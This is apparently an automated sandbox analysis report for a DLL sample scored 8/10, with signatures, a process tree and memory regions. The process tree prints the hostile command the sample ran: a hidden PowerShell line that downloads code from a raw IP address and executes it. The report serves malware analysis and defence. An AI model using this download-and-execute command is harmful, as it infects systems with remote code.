Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/06/2026, 22:15

General

  • Target
    01396090563d0aa3af1c8885d7fb856d23a954717054044dfbfc5ab3e3c8ed95.dll
  • Size 3.5MB
  • Sample260602-158dnsev9s
  • SHA256 01396090563d0aa3af1c8885d7fb856d23a954717054044dfbfc5ab3e3c8ed95
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\01396090563d0aa3af1c8885d7fb856d23a954717054044dfbfc5ab3e3c8ed95.dll,#1
    1⤵
    • Enumerates system info in registry
    • Suspicious use of WriteProcessMemory
    PID:2760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "iwr http://45.141.233.90/ -UseBasicParsing | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4604

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_g1225lx5.tjj.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1225lx5.tjj.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2760-10-0x00007FFDCFD40000-0x00007FFDD006B000-memory.dmp

        memory/4604-1-0x000001CDE7680000-0x000001CDE7690000-memory.dmp

        memory/4604-0-0x000001CDE7680000-0x000001CDE7690000-memory.dmp

        memory/4604-7-0x000001CDE75A0000-0x000001CDE75C2000-memory.dmp

        memory/4604-9-0x000001CDE7680000-0x000001CDE7690000-memory.dmp

        memory/4604-11-0x000001CDE7680000-0x000001CDE7690000-memory.dmp

        memory/4604-12-0x000001CDE7680000-0x000001CDE7690000-memory.dmp

        memory/4604-13-0x000001CDE7680000-0x000001CDE7690000-memory.dmp